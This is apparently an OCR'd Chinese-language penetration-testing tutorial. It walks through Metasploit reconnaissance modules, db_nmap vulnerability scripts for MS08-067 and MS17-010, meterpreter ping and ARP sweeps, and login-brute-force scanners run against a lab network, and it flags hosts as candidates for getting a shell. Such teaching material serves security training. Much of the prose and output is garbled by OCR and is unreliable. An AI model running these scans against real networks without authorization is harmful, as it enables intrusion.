[+] 10.11.1.227:25 - 10. 227:25 SMTP 220 jd.acme.local Microsoft ESMTP MAIL Service, Version: 5.8.2195.5329 ready at Fri, 13 Jul
2018 15:09:31 +0200 ‘\xod\xba

[+] 10.11.1.217:25 - 10. .1.217:25 SMTP 220 hotline.localdomain ESMTP Postfix\x@0d\x@a

TN B PRI RS imap BRG] =R

msf > use auxiliary/scanner/imap/imap_version
msf > set rhosts 10.11.1.0/24

msf > set threads 1

msf > run



mst auxiliary( ) = run
[+] 10.11.1.24:143 - 10.11.1.24:143 IMAP * OK Dovecot ready.\x0d\xBa
[*] Scanned 35 of 256 hosts (13% complete)
[#] Scanned 54 of 256 hosts (21% complete)
[+] Scanned 80 of 256 hosts (31% complete)
[*] Scanned 105 of 256 hosts (41% complete)
[+] 16.11.1.115:143 - 16.11.1.115:143 IMAP * OK [CAPABILITY IMAP4REV1 LOGIN-REFERRALS STARTTLS AUTH=LOGIN] tophat.acme.local IMAP4revl
2801.315rh at Fri, 13 Jul 2018 16:21:03 46300 (IDT)\x0d\x6a
10.11.1.116:143 - 18.11.1.116:143 - The service failed to respond
[*] Scanned 132 of 256 hosts (51% complete)
[*] Scanned 158 of 256 hosts (61% complete)
[#] Scanned 185 of 256 hosts (72% complete)
[#*] Scanned 206 of 256 hosts (88% complete)
[+] 16.11.1.229:143 - 10.11.1.229:143 IMAP * OK IMAPrevl:xed\x0a
[+] 16.11.1.217:143 - 18.11.1.217:143 IMAP * OK [CAPABILITY IMAP4 IMAP4revl LITERAL+ ID STARTTLS] example.com Cyrus IMAP4 v2.3.7-Invoc
a-RPM-2.3.7-7.el5 6.4 server ready\x0d\x0a
[*] Scanned 245 of 256 hosts (95% complete)
[*] Scanned 256 of 256 hosts (100% complete)
[#]1 Auxiliary module execution completed

smb il , B BIBERS , TR RS 5, BHABRBXMFRS , RAMNTIFEREZ LA P AT nfs £ Z,samba =, ftp £=,svn ERIRED, rsync @H ... X F nfs,samba 0 svn B35 A, IR HAEL
B 1A B , Lt AL A R

msf > use auxiliary/scanner/ftp/ftp_version

msf > set rhosts 10.11.1.0/20

msf > set threads 1

msf > run

auxiliary( ] ) = run

18.11.1.8:21 FTP Banner: '220 (vsFTPd 2.8.1)\x8d\xda"'

16.11.1.13:21 FTP Banner: '220 Microsoft FTP Service\x0d\x0a'

186.11.1.14:21 FTP Banner: '220 Microsoft FTP Service\xBd\x0a'

10.11.1.125:21 FTP Banner: '220 Femitter FTP Server ready.\x0d\x0a'
18.11.1.115:21 FTP Banner: '22@ (vsFTPd 1.1.3)\x@d\x8a"'

10.11.1.128:21 FTP Banner: '220 dj Microsoft FTP Service (Version 5.8).\x0d\x0a’

10.11.1.146:21 FTP Banner: '220 ProFTPD 1.3.3a Server (File Server) [::ffff:10.11.1.146]\x0d\x0a"'

Scanned 419 of 4096 hosts (10% complete)

10.11.1.2602:21 - FTP Banner: '22@ oracle Microsoft FTP Service (Version 5.8).\x0d\x@a’

10.11.1.227:21 - FTP Banner: '220 jd Microsoft FTP Service (Version 5.0).\x0d\x0a’

10.11.1.220:21 - FTP Banner: '228-FileZilla Server version 0.9.34 beta\x0d\x0a220-written by Tim Kosse (Tim.Kosse@gmx.de)\x0d\x0a
Please visit http://sourceforge.net/projects/filezilla/\x8d\x0a'

10.11.1.226:21 - FTP Banner: '220-exploitme’\x0d\x0a220 Please enter your name:\x0d\x0a'

KRR snmp, I EE LB irRES, —BBEIFRAMBE snmp fRFEVAFERERE, RN T UNEEE BB NG, BT oid BRI B Ml EN&E XS NEBRER
msf > use auxiliary/scanner/snmp/snmp_enum

msf > set rhosts 10.11.1.0/20

msf > set RPORT 161

msf > set COMMUNITY public HAAEZ5, B5 BN TSE public

msf > set threads 1

msf > run



[*] System information:

Host IP
Hostname
Description
Contact
Location
Uptime snmp
Uptime system
System date

[*] System information:

Host IP

Hostname
Description
Uniprocessor Free)
Contact

Location

Uptime snmp

Uptime system
System date

[#] User accounts:

["bob"]

["Guest"]

["IUSR BOB"]
["IWAM_BDB"]
["Administrator"]
["HelpAssistant"]

[ "SUPPORT 388945a0"]

[#] Network information:

IP forwarding enabled
Default TTL

TCP segments received
TCP segments sent

TCP segments retrans
Input datagrams

= [ =}

e

FEERRM P — LT EENER ftp, BLENHFE T UER ftp 2N

10.11.1.22

barry

Linux barry 2.4.18-3 #1 Thu Apr 18 87:37:53 EDT 2002 1686
Root =root@localhost> (configure /etc/snmp/snmp.local.conf)
Unknown (edit /etc/snmp/snmpd.conf)

3 days, 04:57:49.08

16.11.1.13

BOB

Hardware: x86 Family 6 Model 15 Stepping 2 AT/AT COMPATIBLE - Software: Windows 2000 Version 5.1 (Build 2600

, 19:43:51.49

msf > use auxiliary/scanner/ftp/anonymous

msf > set rhosts 10.11.1.0/20

msf > set threads 20

msf > run
auxiliary(

l1e.11.
18.11.

.8:21
.14:21

1

1
16.11.1.13:21

1

190.11.1.115:21
16.11.1.125:21

10.
10.
10.
10.
10.

Scanned 412 of 4096 hosts

186.11.1.282:21
190.11.1.227:21

10.
10.

11.
11.

11.
11.
(10%
11.1
11.1

1
1
11.1.
1
1

}) = run

.8:21 - Anonymous READ (220 (vsFTPd 2.0.1))

.14:21 - Anonymous |READ/WRITE|(220 Microsoft FTP Service)

13:21 - Anonymous |[READ/WRITE| (220 Microsoft FTP Service)

.115:21 - Anonymous READ (220 (vsFTPd 1.1.3))

.125:21 - Anonymous READ (220 Femitter FTP Server ready.)

complete)

.202:21 - Anonymous READ (220 oracle Microsoft FTP Service (Version 5.0).)
.227:21 - Anonymous RE ITE|(220 jd Microsoft FTP Service (Version 5.0).)

o AW AR B RIFE B &R smb, WRLEZY =K, E2REAN




msf > use auxiliary/scanner/smb/smb_enumshares
msf > set rhosts 10.11.1.0/20
msf > set threads 20

msf > run

auxiliary( ) = run

18,11 .
10.11.
10.11.
18.11.
18,11 .
.11.
ot o B
T B
wild s
o B B
ot o s
T B
wild s
o B B
ot o s
T B
= Wi i B
ilalia
o o e
i B
= Wi i B
ilalia
o o e
i B
= Wi i B
silalia
P by B8
i b
- Ry i B
silalia
P by B8
i b
i i 9
silalia

L
[

[ I ¥ R

Login Failed: The SMB server did not reply to our request
TPCE - (T) TPC Service (Samha Server)

ADMIN$ - (I) IPC Service (Samba Server) |

IPCE - (I IPC Service (Samba Server Version 3.0.33-0.17.el4)
print$ - (DS) Printer Drivers

IPC$ - (I) IPC Service (payday server (Samba
Ubuntu))

Login Failed: execution expired

Login Failed: The SMB server did not reply to
Windows 2003 Service Pack 1 (Unknown)

C% - (DS) Default share

TIPC4 - (T) Remote TPC _

ADMIN$ - (DS) Remote Admin

WWWroot - (0S) ¥

Login Failed: The SMB server did not reply
Login Failed: The SMB server did not reply
Login Failed: The SMB server did not reply
Windows 7 Service Pack 1 (Unknown)

Mo shares collected

Login Failed: The SMB server did not reply
IPC% - (I) IPC Service (Samba Server)

ADMING - (I) IPC Service (Samba Server)

Login Failed: The SMB server did not reply
Windows 2088 Service Pack 1 (Unknown)

No shares collected

Windows 2000 Service Pack ® - 4 (English)
IPC% - (I) Remote IPC

share - (DS)

wwwroot - (DS)

ADMINS - (DS} Remote Admin

C$ - (DS) Default share

IPC$ - (I) IPC Service (sufferance debian server)
Bob Share - (DS) Bob Docs

print$ - (DS) Printer Drivers
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&, el FEM tep/udp i O FHEFERIR AR M AR B K FEEN, DA BWAE LK &I FH tep 89 connect, syn o] ge 4k #), )38, XE im0, EMNELEA RN DA, RsEEEER Bing D 2R
T, ZF banner 3B, iRAIR BT AR EGE IR AY, BR nmap — 3, B MREar AV ERFE, TR — i B 5 1€ meterpreter HHET[2NR Z exe payload SEZE T EHEF TSI — S E, powershell £ Z2RAF
EM], FERON, BAEEH AT, REEIEIR, B4ER, —ARZ RAR= N O, 2 #ti, H 80, X 2A8E, DRI msf BEFAAESAN AN G, ZEEREAREMN, 2452 20 A NEZ /%M 0 3H, Fa
HEE

msf > use auxiliary/scanner/portscan/tcp
msf > set delay 1

msf > set threads 1

msf > set timeout 500

msf > set rhosts 10.11.1.0/20

msf > set ports 80-90,8080-8090 tean, £ B frA N IR web 1138

msf > run

auxiliary( > run

le.11.
18.11.
1.11.
10.11.
l1e.11.
18.11.
l1e.11.
10.11.
le.11.
18.11.
l1e.11.
16.11.
10.11.
18.11.
1.11.
16.11.
10.11.
Scanne
l1e.11.
19.11.
1o.11.
le.11.

3.11.
19.11.
l18.11.
10.11.

J.11.
18.11.
l18.11.
10.11.

J.11.

=]

- - 16@. .0.1:80 - TCP OPEN
.10: - 10. .18:80 - TCP OPEN
.14 : - 10. .14:80 - TCP OPEN
24 10. .24:80 - TCP OPEN
.8: - 16@. 8:80 - TCP OPEN
22 - 10. .22:80 - TCP OPEN
o o - - 10. .13:80 - TCP OPEN
A9 10. .49:80 TCP OPEN
.39: - 16. .39:80 - TCP OPEN
.31: - 10. .31:80 - TCP OPEN
.50: - 10, .50:80 - TCP OPEN
T i B 10. .71:80 TCP OPEN
T2 - 10. .72:80 - TCP OPEN
7 - 18. .73:8080 - TCP OPEN
.116: - 10. .116:88 - TCP OPEN
g I B 10. .115:88 - TCP OPEN
.128: - 10. .1268:80 - TCP OPEN
422 of 4096 hosts complete)

.202: - 10, .202:8080 - TCP OPEN
.202: 10. .202:80 - TCP OPEN
.209: - 10. .209:80 - TCP OPEN
.209: - 18. .209:85080 - TCP OPEN
217 S .217:88 - TCP OPEN
.219: 10. .219:80 - TCP OPEN
.223: - 10. .223:80 - TCP OPEN
227 - 10. .227:80 - TCP OPEN
.234: - 10. .234:80 - TCP OPEN
.237: 10. .237:80 - TCP OPEN
.238: - 16. .238:80 - TCP OPEN
.230: - 10. .230:80 - TCP OPEN
. B - 10. .251:80 - TCP OPEN
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B icmp FERE, RAERRERZE®H icmp THERPABTERKZER!

meterpreter > run post/multi/gather/ping sweep rhosts=192.168.4.0/24



meterpreter > run post/multifgather/ping_sweep rhosts=192.168.4.0/24

[#] Performing ping sweep for IP range 192.168.4.0/24
192.168.4.3 host found
192.168.4.8 host found
192.168.4.5 host found
192.168.4.6 host found
192.168.4.2 host found
192.168.4.16 host found

meterpreter

FW arp 31, BHARM, HFE LK, REPREHIC meterpreter 5k, LHARME TAMYLRIERE SR E, i BT 2R DEXFHS

meterpreter > run post/windows/gather/arp_scanner RHOSTS=192.168.4.0/24

meterpreter > run post/windows/gather/arp_scanner RHOS5TS5=192.168.4.0/24

[*] Running module against WIN16-CLIENT

[*] ARP Scanning 192.168.4.0/24

[+] IP: 192.168.4.2 MAC 00:0c:29:2a:b2:a6 (VMware, Inc.
[+] IP: 192.168.4.3 MAC 00:0c:29:af:78:c9 (VMware, Inc.

[+] IP: 192.168.4.5 MAC 00:0c:29:a6:83:55 (VMware, Inc.
[+] IP: 192.168.4.8 MAC 00:0c:29:cl1:4d:el1 (VMware, Inc.
[+] IP: 192.168.4.6 MAC 00:0c:29:cc:3c:1e (VMware, Inc.
[+] IP: 192.168.4.16 MAC 00:8c:29:95:c7:80 (VMware, Inc.)
[+] IP: 192.168.4.255 MAC 00:0c:29:a6:83:55 (VMware, Inc.)

meterpreter > |

0x03 HiE4h 7 B AR MERME TSR R

ok, FEIRF|IMALFAFRN AT RN EEEHNELER BITAM— G250 meterpreter DUSBITRINES B AT UHITHY, SLE P AERNRFIFE B LR S , B RREBMEHRA T, TREEEILEE
T, X—RAHBER, AN, EEER, R R AERE L ERHLEBRNAMNS, (b, FERBEHEN AR RFZNEES T B vpn IS ERS, FIRFIER 7 B3R vpn AR [ E3ZE kali BANEEE
Rvpn AME, XLEZENILRTEERNSEDRT ], AFERETHEA CBIVERE T BN LTLEEE A CHRMLLEE, #E T BArAMN G, BERMBE B C /A S A ML R RS ENIKNE , ABEAR
KT ARSI T ,msf R ARRE O] UREER , BfF L RRZINMERR, fiiR R ERB SV RRE L, HIPFLEATFRERLT

tban, BAN4E msf AR EFEIFMSNBAY nmap XF B ARR M EHITHRN, BL R L TR A1, ERAINE AR, ABIEREAE msf RAIE? FhpsA T, fRiBid A mst RIFMA nmap #ITHIEXREN, msf &= BN HIR
ERMPEERGFHER, INRETTEREEESTAA, BT txt

msf > db_nmap -sT -p 80,445,139 --open -v -Pn --script=http-iis-webdav-vuln.nse,smb-vuln-ms@8-067.nse,smb-vuln-msl7-010.nse 10.11.1.0/20

msf > db_nmap -sn -PR 10.11.1.0/20

msf > db_nmap -sn -PP 10.11.1.0/20



= db nmap -sT -p 80,445,139 --open -v -Pn --script=http-iis-webdav-vuln.nse,smb-vuln-ms@8-067.nse,smb-vuln-msl7-010.nse 10.11.1.0/24
Nmap: Starting Nmap 7.70 ( https://nmap.org } at 2018-07-13 18:07 EDT

Nmap: NSE: Loaded 3 scripts for scanning.

Nmap: NSE: Script Pre-scanning.

Nmap: Initiating NSE at 10:07

Nmap: Completed NSE at 10:07, 0.00s elapsed

Nmap: Initiating Parallel DNS resolution of 256 hosts. at 18:87

Nmap: Completed Parallel DNS resolution of 256 hosts. at 10:11, 280.04s elapsed

Nmap: Initiating Connect Scan at 10:11
Nmap: Scanning 256 hosts [3 ports/host]
Nmap: Discovered open port 80/tcp on 10.11.
Mmap: Discovered open port 80/tcp on 10.11.
Nmap: Discovered open port 80/tcp on 10.11.
Nmap: Discovered open port 80/tcp on 10.11.
Nmap: Discovered open port 80/tcp on 10.11.
Nmap: Discovered open port 80/tcp on 10.11.
Nmap: Discovered open port 80/tcp on 10.11.
Nmap: Discovered open port 80/tcp on 10.11.
Nmap: Discovered open port 80/tcp on 10.11.
Nmap: Discovered open port 80/tcp on 10.11.
Nmap: Discovered open port 80/tcp on 10.11.
Nmap: Discovered open port 80/tcp on 10.11.
Nmap: Discovered open port 80/tcp on 10.11.
Nmap: Discovered open port 80/tcp on 10.11.
Nmap: Discovered open port 80/tcp on 10.11.
Nmap: Discovered open port 80/tcp on 10.11.
Nmap: Discovered open port 80/tcp on 10.11.1.237
Nmap: Discovered open port 80/tcp on 10.11.1.238
Nmap: Discovered open port 445/tcp on 10.11.1.8

B mst NEPEZEINA, nmap A FEMSEORTAERE X B EARUN, LERAEEAT —EEASERA, £T arp 134, icmp 14, BTE N ET PEERKE A, KRR EBERL, AR A——

.B

.1e
.14
.13
P

.38
.50
.49
.115
.116
.128
.133
. 202
.219
217
. 209

el e el el e e el el sl e el sl

Nmap: Nmap scan report for 10.11.1.5

Nmap: Host is up (©.72s latency).

Nmap: Mot shown: 1 closed port

Nmap: PORT STATE SERVICE

Nmap: 139/tcp open netbios-ssn

Nmap: 445/tcp open microsoft-ds

Nmap: Host script results:

Nmap: | smb-vuln-ms@8-067 :

Nmap: VULNERABLE:

Nmap: Microsoft Windows system vulnerable to remote code execution (MS@8-067)

Nmap : State: VULNERABLE

Nmap : IDs: CVE:CVE-2008-4250

Nmap: The Server service in Microsoft Windows zeee SP4, XP SP2 and SP3, Server 2003 SP1 and SPZ2,
Nmap: VYista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
Nmap: code via a crafted RPC request that triggers the overflow during path canonicalization.
Nmap :
Nmap:
Nmap:
Nmap:

I

|

|

|

|

|

|

| Disclosure date: 2008-10-23

| References:

| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
LET https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
Nmap: | smb-wuln-msl7-010:
Nmap: | VULNERABLE: |
Nmap: | Remote Code Execution wvulnerability in Microsoft SMBvl servers (msl7-010)
Nmap: | State: VULNERABLE
Nmap: | IDs: CVE:CVE-2017-0143
Nmap: | Risk factor: HIGH
Nmap: | A critical remote code execution vulnerability exists in Microsoft SMBvl
Nmap: | servers (msl7-010).
Nmap: |
Nmap: |
Nmap: |
Nmap: |
Nmap: |
Nmap: |

B 7 BT E BEIAB N E 5 E R A arp_scanner 1R, msf B 518 J arp_sweep 1R, AT X MERBREBRMNNELLEFINANANF A H, EAEEEREENNAMKED, i) LIRK, EA

Disclosure date: 2017-03-14
References:
https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
https://technet.microsoft.com/en-us/library/security/msl7-010.aspx

msf > use auxiliary/scanner/discovery/arp_sweep



msf > set rhosts 10.11.1.0/20
mst > set interface tap©
msf > set threads 20

msf > run

auxiliary( 1) = run

10.11.22.44 ear ; (VWMware, Inc.
10.11.22.44 & (VWMware, Inc.
10.11.22.44 ear (VMware, Inc.
10.11.22.44 : = (VMware, Inc.
10.11.22.44 (VMware, Inc.
10.11.22.44 (VWMware, Inc.
10.11.22.44 {(VMware, Inc.
10.11.22.44 (VMware, Inc.
10.11.22.44 (VWMware, Inc.
10.11.22.44 (VWMware, Inc.
18.11.22 .44 (VMware, Inc.
10.11.22.44 (VMware, Inc.
10.11.22.44 (VWMware, Inc.
10.11.22.44 (VWMware, Inc.
18.11.22 .44 (VMware, Inc.
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msf > use auxiliary/scanner/http/zabbix_login zabbix 53% web N\ O1ERE

msf > use auxiliary/scanner/http/axis_login axis EXIA web 2H| S N OB

msf > use auxiliary/scanner/http/cisco_ssl_vpn sslvpn BRI\ web N OEH, BIHME B EREE
msf > use auxiliary/scanner/http/http _login http E#IAIE web A\ OER

msf > use auxiliary/scanner/http/scraper #\ http banner

msf > use auxiliary/scanner/redis/redis_login 1B redis

msf > use auxiliary/scanner/http/joomla_version REFIDFI N M P FE joomla 27

msf > use auxiliary/scanner/http/wordpress _scanner [RFEIRFIAMNFEIFFHE wordpress 2%

msf > use auxiliary/scanner/http/jenkins_enum REIDF A MNP EIETE jenkins (8, b0, TREK KNG SHITE. . .
msf > use auxiliary/scanner/http/owa_login owa A\ [OEM, — SR vpn IKE 10, A K S Z0—3, A B EREE

msf > use auxiliary/scanner/http/tomcat _mgr_login tomcat EABIBIRFI SN OB, TEE XS tomcate.x U TBIRRA, 7 A _EBBHENLF
msf > use auxiliary/scanner/http/svn_scanner WMAMEFEEFE svn, TEZ$HXT7E apache 55 H) svn IRE
msf > use auxiliary/scanner/http/splunk web_login splunk web N\ O&H:, TEHXHEERESTHN

msf > use auxiliary/scanner/http/sap_businessobjects _version_enum 1R 5! sap ¥R A , EAREF B

EERIR, 55 ..



ox04 REMNEFHPAMERTENTEXEMERTR

msf > hosts -h BEEHE hosts[FA MBI AFER, X T/HEHEA services h2RHMEER A

-h
[ options ] [addrl addr2z

OPTIONS:
-a, --add Add the hosts instead of searching
--delete Delete the hosts instead of searching
<coll,col2=> Only show the given columns (see list below)
=coll,col2= Only show the given columns until the next restart (see list below)
--help Show this help information
- -up Only show hosts which are up
<file> Send output to a file in csv format
=column= Order rows by specified column number
--rhosts Set RHOSTS from the results of the search
-search Search string to filter by
-info Change the info of a host
-name Change the name of a host
-comment Change the comment of a host
-tag Add or specify a tag to a range of hosts

MR FIREATE windows EHHIFEHAE R

name S _name DS S purpose service count
bogon Windows 2003
bogon Windows XP
bogon Windows XP
bogon Windows 2003
bogon Windows 2012
bogon Windows 2812
bogon Windows 2000
bogon Windows 2800
bogon Windows 2008
bogon Windows
bogon Windows 2000
16.11.1.229 Windows 2003
WEBSERVER-IIS7 Windows 2008
FILESERVER Windows 2003

10.
10.
10.
10.
10.
10.
10.
10.
10.
18.11.1.
192.168.
192.168.
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msf > hosts -c address,mac,name,os_name,os_flavor,os_sp,purpose,vuln_count,service count -S Linux ML RIZBERA linux THIEMRERE



-¢ address,mac,name,os name,os flavor,os sp,purpose,vuln count,service count -5 Linux

name S - 5 se  vuln count service count
bogon
bogon
18511
bogon
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10.04
bogon inux 14.04
bogon Linux 11.18
bogon Linux
bogon Linux
bogon Linux
bogon Linux
bogon Linux
bogon Linux
bogon Linux
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RIEBIEEMER THFTA windows THINFEMER, -0 BT ATIETREINERSHEI LB X THEEX M, tbi, csv. ..
msf > hosts -c address,mac,name,os_name,os_flavor,os_sp,purpose,vuln_count,service count -S windows -R 10.11.1.0/24

msf > hosts -c address,mac,name,os_name,os_flavor,os_sp,purpose,vuln_count,service count -S windows -R 10.11.1.0/24 -0 active_machine.csv

ne,os fTlavor,os sp,purpose,vuln count,service count -5 windows -R 10.11.1.0/24

name 05 _name purpose vuln count service count
.10 10:50:56:B8:2D:D0 bogon Windows 2003
.13 :50:56:B8:F5: bogon Windows XP
.14 10:50:56:B8:78: bogon Windows XP
- | :50:56:B8:97:A0 bogon Windows 2003
.49 10:50:56:B8:34: bogon Windows 2012
.50 :50:56:B8:23::2 bogon Windows 2012
.128 00:50:56:B8:3F: bogon Windows 2000
.202 :50:56:B8:45:70 bogon Windows 2000
.220 0©:50:56:B8:8D: bogon Windows 2008
.223 :50:56:B8:23: bogon Windows
.227 00:50:56:B8:F9: bogon Windows 2000
.229 18.11.1.229 Windows 2003
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== Tile:/tmp/msf-db-rhosts-20180714-4209-xzrqg5g

WT, REEREXFES RS EREN

msf > services -c port,proto,name,state,info -R 10.11.1.0/24 -S 445 TE4 X ms08-067,ms17-010, admin$E Zi5(a) I % smb 550145



port name

445 microsoft-ds

445 tcp microsoft-ds

445 tcp microsoft-ds open

445 tcp microsoft-ds open Windows 208 p
445 tcp microsoft-ds open  Windows Servic
445 tcp microsoft-ds open  Windows 2080 Ser
445 tcp microsoft-ds open

445 tcp microsoft-ds open Windows 2008 Service Pack 1 (Unknown)

445 tcp microsoft-ds open  Windows 2000 Service Pack 4 with M585-818+ (English)
445 tcp microsoft-ds open Windows 7 Service Pack 1 (Unknown)

445 tcp microsoft-ds open Windows 2088 R2 Service Pack 1 (Unknown)

445 tcp microsoft-ds open Windows 2008 Service Pack 1 (Unknown)

445  tcp microsoft-ds open Windows 2000 Service Pack © - 4 (English)

445 tcp microsoft-ds open  Windows 2083 Service Pack 1 (Unknown)

445 tcp microsoft-ds open Windows 7 (Unknown)
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RHOSTS == fTile:/tmp/msT-db-rhosts-20180714-4209-pbducl

msf > services -c port,proto,name,state,info -R 10.11.1.0/24 -S Microsoft-IIS/6.0 webdav IfEH 1T, £IF put 7%

ervices -c¢ port,proto,name,state,info -R 10.11.1.0/24 -5 Microsoft-II5/6.0

port proto name e info
10.11.1.10 80 http Microsoft-IIS/6.0

10.11.1.31 ae tcp http Microsoft-II5/6.0 ( Powered by ASP.NET )
16.11.1.229 80 tcp http open Microsoft-IIS/6.8 ( Powered by ASP.NET )

RHOSTS == 1©.11.1.10 10.11.1.31 10©.11.1.229

msf > services -c port,proto,name,state,info -R 10.11.1.0/24 -S 1433550%,getshell...

port proto name

10.11.1.31 1433 : 3 Version: 8.00.194, ServerName: RALPH, InstanceMame: MSSQLSERVER, Clustered: No
10.11.1.31 1434 sql- open TCP: 1433, Servername: RALPH

RHO5TS == 10.11.1.

msf > services -c port,proto,name,state,info -R 10.11.1.0/24 -S 8080#z#|55 0% ,getshell...



-5 8080

host port proto name

18.11.1.73 8080
18.11.1.282 8080 ftcp
18.11.1.289 8080 tcp

RHOSTS == 10.11.1.73 10.11.1.202 10.11.1.209

msf > services -c port,proto,name,state,info -R 10.11.1.0/24 -S 1521 KA RIE

services -c port,proto,name,state,info -R 16.11.1.8/24 -S 1521
Services

port proto name g e info

32-bit Windows: Version 9.2.8.1.8 - Production

RHOSTS => 10.11.1.202

-5 ProFTPD

port proto name e info

16.11.1.146 21 tcp ope 220 ProFTPD 1.3.3a Server (File Server) [::ffff:16.11.1.146]\x0d\x0a

RHOS5TS == 18.11.1.146

msf > services -c port,proto,name,state,info -R 10.11.1.0/24 -S SSH-2.0
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)-0penSSH_5.8pl Debian-7ubuntul
-OpenSSH 5.8p2 hpnl3vll FreeBSD-20110503
-0OpenSSH 4.3p2 Debian-9
-0penSSH 4.0
)-0penSSH_5.5pl Debian-6
-Sun_SSH 1.1.5
-0OpenSSH 4.3
-0pensSSH 5.3pl Debian-3ubuntu3
)-0penSSH _6.0pl Debian-4
-0penSSH 6.0pl Debian-4
-0penSSH 5.1pl Debian-5ubuntul
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PSR, BRABAFREARLIND LR, B R msf glaE — 182K, 480, BLETHER AEBR BRI, B—7 K, MREMNEBEBFE, MITERBAMNA T, AR TESRE B C, BNEXHIIEL, T
R msf HBIFIES, LFHEZIRABAGNHY, meterpreter h 2R TTEIEEE, ENAFEENRESD, BEFAT LR [BE TEE/LNN ], INEERNEBINEERET TIBBRNERS, ErshE, I
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LT, bban, arp_sweep XMERK, XU E AT A, REAMELELR, RRIRRENZ BIRAMN ip &, BEELFRENTEZIRAEME, RIRIREZL F AR ARM, E#HE msf £ EHBARR, Bz B
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